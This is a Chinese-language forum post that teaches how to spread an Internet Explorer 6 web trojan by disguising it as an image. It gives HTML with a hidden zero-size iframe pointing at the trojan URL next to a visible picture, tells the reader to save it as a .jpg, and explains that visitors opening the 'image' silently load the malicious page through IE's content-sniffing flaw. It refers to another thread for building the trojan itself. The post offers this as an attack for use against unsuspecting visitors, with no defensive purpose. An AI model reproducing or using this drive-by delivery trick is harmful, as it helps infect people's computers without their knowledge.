网页木马至今已出了很多代，品种格式各样，目前最新最实用的是针对各种IE版本都有效的网页木马，我们统称它们IE6.0木马，说到这里，我们就进行本文主题的第一部分，制作IE6.0木马，详细步骤及制作工具另附注意事项请参阅这篇贴子
www.huigezi.com/forum_view.a...=2&view_id=1624 ;
里面有详细的说解！
根据上面贴子里的教材如果你已经成功的制作出了IE6.0网页木马。那么我们继续下一步，修改网页木马的地址的后缀名！
一般来说，我们做出来的网页木马地址都是以 htm 或html 结尾！那么我们怎么修改呢？很简单！
不知道大家知道不知道。IE有一个很小的BUG。即只要网站文件里有html码它就会执行，并不理会文件后缀名是什么。
于是我们可以这么来修改网页木马的后缀名，其实说准确一点并不是修改点网页木马的地址后缀名，是利用一个图片地址来打开这个网页木马！
打开记事本写入如下一段代码：
<html>
<iframe src="IE6。0网页木马地址" width="0" height="0" frameborder="0"></iframe>
<center><img src="图片地址"></center>
</html>
然后将其另存为XXX.jpg 。
剩下的工作就是将这个XXX.jpg图片格式的文件上传的你的空间，给出相对路径让别人访问了！
别人在访问这个XXX.jpg文件时。。浏览器会将文件内的html码执行，根据代码的内容。你的网页木马地址会作为隐藏窗口被打开。。另外那个图片也会出现在对方所打开的网页上！
回复Comments
作者:
{commentrecontent}